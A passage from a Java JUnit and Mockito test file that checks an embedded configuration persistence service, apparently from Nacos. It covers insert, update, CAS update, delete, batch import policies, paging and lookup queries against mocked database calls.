assertEquals(configInfoStateWrapperFinalSelect.getLastModified(), configOperateResult.getLastModified());\n        //expect insert config info invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(dataId), eq(group),\n                        eq(tenant), eq(appName), eq(content), eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)),\n                        eq(srcIp), eq(srcUser), eq(desc), eq(use), eq(effect), eq(type), eq(schema),\n                        eq(encryptedDatakey)), times(1));\n        //expect insert config tags\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag1\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag2\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        \n        //expect insert history info\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(0L), eq(configInfo), eq(srcIp), eq(srcUser), any(Timestamp.class),\n                        eq(\"I\"), eq(\"formal\"), eq(null), argThat(actualJson -> {\n                            String expected = ConfigExtInfoUtil.getExtraInfoFromAdvanceInfoMap(configAdvanceInfo,\n                                    srcUser);\n                            if (expected == null || actualJson == null) {\n                                return expected == actualJson;\n                            }\n                            String[] expectedParts = expected.replaceAll(\"[{}\\\"]\", \"\").split(\",\");\n                            String[] actualParts = actualJson.replaceAll(\"[{}\\\"]\", \"\").split(\",\");\n                            List<String> expectedList = new ArrayList<>();\n                            List<String> actualList = new ArrayList<>();\n                            for (String part : expectedParts) {\n                                expectedList.add(part.trim());\n                            }\n                            for (String part : actualParts) {\n                                actualList.add(part.trim());\n                            }\n                            return expectedList.size() == actualList.size() && actualList.containsAll(expectedList);\n                        }));\n    }\n    \n    @Test\n    void testInsertOrUpdateOfUpdateConfigSuccess() {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        String desc = \"testdesc\";\n        String use = \"testuse\";\n        String effect = \"testeffect\";\n        String type = \"testtype\";\n        String schema = \"testschema\";\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", desc);\n        configAdvanceInfo.put(\"use\", use);\n        configAdvanceInfo.put(\"effect\", effect);\n        configAdvanceInfo.put(\"type\", type);\n        configAdvanceInfo.put(\"schema\", schema);\n        \n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content132456\";\n        String appName = \"app1233\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        String encryptedDataKey = \"key34567\";\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        //mock get config state,first and second is not null\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper(), new ConfigInfoStateWrapper());\n        \n        //mock select config info before update\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        embeddedConfigInfoPersistService.insertOrUpdate(srcIp, srcUser, configInfo, configAdvanceInfo);\n        \n        //expect update config info invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), eq(appName),\n                        eq(desc), eq(use), eq(effect), eq(type), eq(schema), eq(encryptedDataKey), eq(dataId),\n                        eq(group), eq(tenant)), times(1));\n        \n        //expect insert config tags\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag1\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag2\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        \n        //expect insert history info of U\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), any(ConfigInfo.class), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"U\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testInsertOrUpdateCasOfUpdateConfigSuccess() {\n        \n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        String desc = \"testdesc11\";\n        String use = \"testuse11\";\n        String effect = \"testeffe1ct\";\n        String type = \"testt1ype\";\n        String schema = \"testsch1ema\";\n        configAdvanceInfo.put(\"config_tags\", \"tag1,tag2\");\n        configAdvanceInfo.put(\"desc\", desc);\n        configAdvanceInfo.put(\"use\", use);\n        configAdvanceInfo.put(\"effect\", effect);\n        configAdvanceInfo.put(\"type\", type);\n        configAdvanceInfo.put(\"schema\", schema);\n        String dataId = \"dataId\";\n        String group = \"group\";\n        String tenant = \"tenant\";\n        String content = \"content132456\";\n        String encryptedDataKey = \"key34567\";\n        String casMd5 = \"casMd5..\";\n        String appName = \"app12345\";\n        ConfigInfo configInfo = new ConfigInfo(dataId, group, tenant, appName, content);\n        configInfo.setMd5(casMd5);\n        configInfo.setEncryptedDataKey(encryptedDataKey);\n        \n        //mock get config state,first and second is not null\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                        eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper(), new ConfigInfoStateWrapper());\n        \n        //mock select config info before update\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        String srcIp = \"srcIp\";\n        String srcUser = \"srcUser\";\n        \n        embeddedConfigInfoPersistService.insertOrUpdateCas(srcIp, srcUser, configInfo, configAdvanceInfo);\n        //expect update config info invoked.\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(eq(Boolean.TRUE), anyString(), eq(content),\n                        eq(MD5Utils.md5Hex(content, Constants.PERSIST_ENCODE)), eq(srcIp), eq(srcUser), eq(appName),\n                        eq(desc), eq(use), eq(effect), eq(type), eq(schema), eq(encryptedDataKey), eq(dataId),\n                        eq(group), eq(tenant), eq(casMd5)), times(1));\n        \n        //expect insert config tags\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag1\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), anyLong(), eq(\"tag2\"),\n                        eq(StringUtils.EMPTY), eq(dataId), eq(group), eq(tenant)), times(1));\n        \n        //expect insert history info of U\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), any(ConfigInfo.class), eq(srcIp), eq(srcUser),\n                        any(Timestamp.class), eq(\"U\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfo() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock exist config info\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(dataId);\n        configAllInfo.setGroup(group);\n        configAllInfo.setTenant(tenant);\n        configAllInfo.setAppName(\"old_app\");\n        configAllInfo.setMd5(\"old_md5\");\n        configAllInfo.setId(12345678765L);\n        configAllInfo.setType(ConfigType.JSON.getType());\n        configAllInfo.setSchema(\"testschema\");\n        configAllInfo.setCreateUser(\"testuser\");\n        configAllInfo.setEffect(\"online\");\n        configAllInfo.setDesc(\"desc\");\n        configAllInfo.setUse(\"use124\");\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_ALL_INFO_ROW_MAPPER))).thenReturn(configAllInfo);\n        String srcIp = \"srcIp1234\";\n        String srcUser = \"srcUser\";\n        Mockito.when(databaseOperate.update(any())).thenReturn(true);\n        embeddedConfigInfoPersistService.removeConfigInfo(dataId, group, tenant, srcIp, srcUser);\n        \n        //expect delete config to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(dataId), eq(group), eq(tenant)),\n                times(1));\n        //expect delete config tag to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(configAllInfo.getId())), times(1));\n        //expect insert delete history\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfo.getId()), eq(configAllInfo), eq(srcIp), eq(srcUser), any(),\n                        eq(\"D\"), eq(\"formal\"), eq(null), eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfo)));\n        \n    }\n    \n    @Test\n    void testRemoveConfigInfoByIds() {\n        \n        //mock exist config info\n        final List<ConfigAllInfo> configAllInfos = new ArrayList<>();\n        final ConfigAllInfo configAllInfo1 = new ConfigAllInfo();\n        final ConfigAllInfo configAllInfo2 = new ConfigAllInfo();\n        configAllInfo1.setDataId(\"dataId1\");\n        configAllInfo1.setGroup(\"group1\");\n        configAllInfo1.setTenant(\"tenant1\");\n        configAllInfo1.setAppName(\"app1\");\n        configAllInfo2.setDataId(\"dataId2\");\n        configAllInfo2.setGroup(\"group2\");\n        configAllInfo2.setTenant(\"tenant2\");\n        configAllInfo2.setAppName(\"app2\");\n        configAllInfos.add(configAllInfo1);\n        configAllInfos.add(configAllInfo2);\n        List<Long> deleteIds = Arrays.asList(12344L, 3456789L);\n        configAllInfos.get(0).setId(12344L);\n        configAllInfos.get(1).setId(3456789L);\n        Mockito.when(databaseOperate.queryMany(anyString(), eq(deleteIds.toArray()), eq(CONFIG_ALL_INFO_ROW_MAPPER)))\n                .thenReturn(configAllInfos);\n        String srcIp = \"srcIp1234\";\n        String srcUser = \"srcUser\";\n        Mockito.when(databaseOperate.update(any())).thenReturn(true);\n        embeddedConfigInfoPersistService.removeConfigInfoByIds(deleteIds, srcIp, srcUser);\n        \n        long deleteId0 = deleteIds.get(0);\n        long deleteId1 = deleteIds.get(1);\n        \n        //expect delete config to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(deleteId0), eq(deleteId1)), times(1));\n        //expect delete config tag to be invoked\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(deleteId0)), times(1));\n        embeddedStorageContextHolderMockedStatic.verify(\n                () -> EmbeddedStorageContextHolder.addSqlContext(anyString(), eq(deleteId1)), times(1));\n        //expect insert delete history\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfos.get(0).getId()), eq(configAllInfos.get(0)), eq(srcIp),\n                        eq(srcUser), any(), eq(\"D\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfos.get(0))));\n        Mockito.verify(historyConfigInfoPersistService, times(1))\n                .insertConfigHistoryAtomic(eq(configAllInfos.get(1).getId()), eq(configAllInfos.get(1)), eq(srcIp),\n                        eq(srcUser), any(), eq(\"D\"), eq(\"formal\"), eq(null),\n                        eq(ConfigExtInfoUtil.getExtInfoFromAllInfo(configAllInfos.get(1))));\n        \n    }\n    \n    @Test\n    void testBatchInsertOrUpdateOverwrite() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and overwrite\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        \n        //mock add config 1 success,config 2 fail and skip,config 3 success\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(0).getDataId(), configInfoList.get(0).getGroup(),\n                                configInfoList.get(0).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(1).getDataId(), configInfoList.get(1).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper());\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(2).getDataId(), configInfoList.get(2).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        //mock query config info during update\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(1).getDataId(), configInfoList.get(1).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_WRAPPER_ROW_MAPPER)))\n                .thenReturn(configInfoWrapper);\n        \n        Map<String, Object> stringObjectMap = embeddedConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.OVERWRITE);\n        assertEquals(3, stringObjectMap.get(\"succCount\"));\n        assertEquals(0, stringObjectMap.get(\"skipCount\"));\n    }\n    \n    @Test\n    void testBatchInsertOrUpdateSkip() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and skip\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        \n        //mock add config 1 success,config 2 fail and skip,config 3 success\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(0).getDataId(), configInfoList.get(0).getGroup(),\n                                configInfoList.get(0).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(1).getDataId(), configInfoList.get(1).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper());\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(2).getDataId(), configInfoList.get(2).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        \n        Map<String, Object> stringObjectMap = embeddedConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.SKIP);\n        assertEquals(2, stringObjectMap.get(\"succCount\"));\n        assertEquals(1, stringObjectMap.get(\"skipCount\"));\n        assertEquals(configInfoList.get(1).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"skipData\")).get(0).get(\"dataId\"));\n    }\n    \n    @Test\n    void testBatchInsertOrUpdateAbort() throws NacosException {\n        List<ConfigAllInfo> configInfoList = new ArrayList<>();\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(0));\n        //exist config and overwrite\n        configInfoList.add(createMockConfigAllInfo(1));\n        //insert direct\n        configInfoList.add(createMockConfigAllInfo(2));\n        String srcUser = \"srcUser1324\";\n        String srcIp = \"srcIp1243\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        \n        //mock add config 1 success,config 2 fail and abort,config 3 not operated\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(0).getDataId(), configInfoList.get(0).getGroup(),\n                                configInfoList.get(0).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(1).getDataId(), configInfoList.get(1).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(new ConfigInfoStateWrapper());\n        Mockito.when(databaseOperate.queryOne(anyString(),\n                        eq(new Object[] {configInfoList.get(2).getDataId(), configInfoList.get(2).getGroup(),\n                                configInfoList.get(1).getTenant()}), eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER)))\n                .thenReturn(null);\n        \n        Map<String, Object> stringObjectMap = embeddedConfigInfoPersistService.batchInsertOrUpdate(configInfoList,\n                srcUser, srcIp, configAdvanceInfo, SameConfigPolicy.ABORT);\n        assertEquals(1, stringObjectMap.get(\"succCount\"));\n        assertEquals(1, stringObjectMap.get(\"skipCount\"));\n        // config 2 failed\n        assertEquals(configInfoList.get(1).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"failData\")).get(0).get(\"dataId\"));\n        //skip config 3\n        assertEquals(configInfoList.get(2).getDataId(),\n                ((List<Map<String, String>>) stringObjectMap.get(\"skipData\")).get(0).get(\"dataId\"));\n    }\n    \n    private ConfigAllInfo createMockConfigAllInfo(long mockId) {\n        ConfigAllInfo configAllInfo = new ConfigAllInfo();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setTenant(\"tenantTest\");\n        configAllInfo.setCreateIp(\"localhost\");\n        configAllInfo.setCreateUser(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        return configAllInfo;\n    }\n    \n    private ConfigInfoWrapper createMockConfigInfoWrapper(long mockId) {\n        ConfigInfoWrapper configAllInfo = new ConfigInfoWrapper();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setContent(\"23456789000content\");\n        return configAllInfo;\n    }\n    \n    private ConfigInfoStateWrapper createMockConfigInfoStateWrapper(long mockId) {\n        ConfigInfoStateWrapper configAllInfo = new ConfigInfoStateWrapper();\n        configAllInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configAllInfo.setGroup(\"test\");\n        configAllInfo.setLastModified(System.currentTimeMillis());\n        return configAllInfo;\n    }\n    \n    private ConfigInfo createMockConfigInfo(long mockId) {\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setDataId(\"test\" + mockId + \".yaml\");\n        configInfo.setGroup(\"test\");\n        configInfo.setContent(\"23456789000content\");\n        \n        return configInfo;\n    }\n    \n    @Test\n    void testFindConfigMaxId() {\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Long.class))).thenReturn(123456L);\n        long configMaxId = embeddedConfigInfoPersistService.findConfigMaxId();\n        assertEquals(123456L, configMaxId);\n    }\n    \n    @Test\n    void testFindConfigMaxId0() {\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(Long.class))).thenReturn(0L);\n        long configMaxId = embeddedConfigInfoPersistService.findConfigMaxId();\n        assertEquals(0, configMaxId);\n    }\n    \n    @Test\n    void testFindConfigInfoById() {\n        long id = 1234567890876L;\n        ConfigInfo configInfo = new ConfigInfo();\n        configInfo.setId(id);\n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {id}), eq(CONFIG_INFO_ROW_MAPPER)))\n                .thenReturn(configInfo);\n        ConfigInfo configReturn = embeddedConfigInfoPersistService.findConfigInfo(id);\n        assertEquals(id, configReturn.getId());\n    }\n    \n    @Test\n    void testFindConfigInfoByDataId() {\n        String dataId = \"dataId4567\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        ConfigInfoWrapper configInfoWrapper = new ConfigInfoWrapper();\n        configInfoWrapper.setDataId(dataId);\n        configInfoWrapper.setGroup(group);\n        configInfoWrapper.setTenant(tenant);\n        \n        Mockito.when(databaseOperate.queryOne(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(CONFIG_INFO_WRAPPER_ROW_MAPPER))).thenReturn(configInfoWrapper);\n        ConfigInfo configReturn = embeddedConfigInfoPersistService.findConfigInfo(dataId, group, tenant);\n        assertEquals(dataId, configReturn.getDataId());\n    }\n    \n    @Test\n    void testFindConfigInfo4Page() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock total count\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {tenant, dataId, group}),\n                eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {tenant, dataId, group}),\n                eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        Page<ConfigInfo> configInfo4Page = embeddedConfigInfoPersistService.findConfigInfo4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindConfigInfo4PageWithTags() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"config_tags\", \"tags1,tags3\");\n        \n        //mock total count\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {tenant, dataId, group, \"tags1\", \"tags3\"}),\n                eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {tenant, dataId, group, \"tags1\", \"tags3\"}),\n                eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = embeddedConfigInfoPersistService.findConfigInfo4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n    }\n    \n    @Test\n    void testConfigInfoCount() {\n        \n        //mock total count\n        when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(new Integer(9));\n        int count = embeddedConfigInfoPersistService.configInfoCount();\n        assertEquals(9, count);\n        \n        when(databaseOperate.queryOne(anyString(), eq(Integer.class))).thenReturn(null);\n        try {\n            embeddedConfigInfoPersistService.configInfoCount();\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof IllegalArgumentException);\n        }\n        \n    }\n    \n    @Test\n    void testConfigInfoCountByTenant() {\n        \n        String tenant = \"tenant124\";\n        //mock total count\n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {tenant}), eq(Integer.class))).thenReturn(\n                new Integer(90));\n        int count = embeddedConfigInfoPersistService.configInfoCount(tenant);\n        assertEquals(90, count);\n        \n        when(databaseOperate.queryOne(anyString(), eq(new Object[] {tenant}), eq(Integer.class))).thenReturn(null);\n        try {\n            embeddedConfigInfoPersistService.configInfoCount(tenant);\n            assertTrue(false);\n        } catch (Exception e) {\n            assertTrue(e instanceof IllegalArgumentException);\n        }\n        \n    }\n    \n    @Test\n    void testFindConfigInfoLike4Page() {\n        String dataId = \"dataId4567222*\";\n        String group = \"group3456789*\";\n        String tenant = \"tenant4567890\";\n        String appName = \"appName1234\";\n        String content = \"content123\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"appName\", appName);\n        configAdvanceInfo.put(\"content\", content);\n        //mock total count\n        when(databaseOperate.queryOne(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName,\n                        content}), eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(databaseOperate.queryMany(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName,\n                        content}), eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = embeddedConfigInfoPersistService.findConfigInfoLike4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindConfigInfoLike4PageWithTags() {\n        \n        String appName = \"appName1234\";\n        String content = \"content123\";\n        Map<String, Object> configAdvanceInfo = new HashMap<>();\n        configAdvanceInfo.put(\"appName\", appName);\n        configAdvanceInfo.put(\"content\", content);\n        configAdvanceInfo.put(\"config_tags\", \"tags,tag2\");\n        String dataId = \"dataId4567222*\";\n        String group = \"group3456789*\";\n        String tenant = \"tenant4567890\";\n        //mock total count\n        when(databaseOperate.queryOne(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName, content,\n                        \"tags\", \"tag2\"}), eq(Integer.class))).thenReturn(new Integer(9));\n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(databaseOperate.queryMany(anyString(),\n                eq(new Object[] {tenant, dataId.replaceAll(\"\\\\*\", \"%\"), group.replaceAll(\"\\\\*\", \"%\"), appName, content,\n                        \"tags\", \"tag2\"}), eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        \n        Page<ConfigInfo> configInfo4Page = embeddedConfigInfoPersistService.findConfigInfoLike4Page(1, 3, dataId, group,\n                tenant, configAdvanceInfo);\n        assertEquals(result.size(), configInfo4Page.getPageItems().size());\n        assertEquals(9, configInfo4Page.getTotalCount());\n        \n    }\n    \n    @Test\n    void testFindChangeConfig() {\n        \n        //mock page list\n        List<ConfigInfoStateWrapper> result = new ArrayList<>();\n        result.add(createMockConfigInfoStateWrapper(0));\n        result.add(createMockConfigInfoStateWrapper(1));\n        result.add(createMockConfigInfoStateWrapper(2));\n        Timestamp startTime = new Timestamp(System.currentTimeMillis() - 1000L);\n        long lastMaxId = 10000L;\n        int pageSize = 30;\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {startTime, lastMaxId, pageSize}),\n                eq(CONFIG_INFO_STATE_WRAPPER_ROW_MAPPER))).thenReturn(result);\n        \n        List<ConfigInfoStateWrapper> configInfo4List = embeddedConfigInfoPersistService.findChangeConfig(startTime,\n                lastMaxId, pageSize);\n        assertEquals(result.size(), configInfo4List.size());\n    }\n    \n    @Test\n    void testSelectTagByConfig() {\n        String dataId = \"dataId4567222\";\n        String group = \"group3456789\";\n        String tenant = \"tenant4567890\";\n        \n        //mock page list\n        List<String> tagStrings = Arrays.asList(\"\", \"\", \"\");\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {dataId, group, tenant}),\n                eq(String.class))).thenReturn(tagStrings);\n        List<String> configTags = embeddedConfigInfoPersistService.selectTagByConfig(dataId, group, tenant);\n        assertEquals(tagStrings, configTags);\n    }\n    \n    @Test\n    void testFindConfigInfosByIds() {\n        \n        //mock page list\n        List<ConfigInfo> result = new ArrayList<>();\n        result.add(createMockConfigInfo(0));\n        result.add(createMockConfigInfo(1));\n        result.add(createMockConfigInfo(2));\n        when(databaseOperate.queryMany(anyString(), eq(new Object[] {123L, 1232345L}),\n                eq(CONFIG_INFO_ROW_MAPPER))).thenReturn(result);\n        String ids = \"123,1232345\";\n        List<ConfigInfo> configInfosByIds = embeddedConfigInfoPersistService.findConfigInfosByIds(ids);\n        assertEquals(result.size(), configInfosByIds.size());\n        assertEquals(result.get(2).getDataId(), configInfosByIds.get(2).getDataId());\n        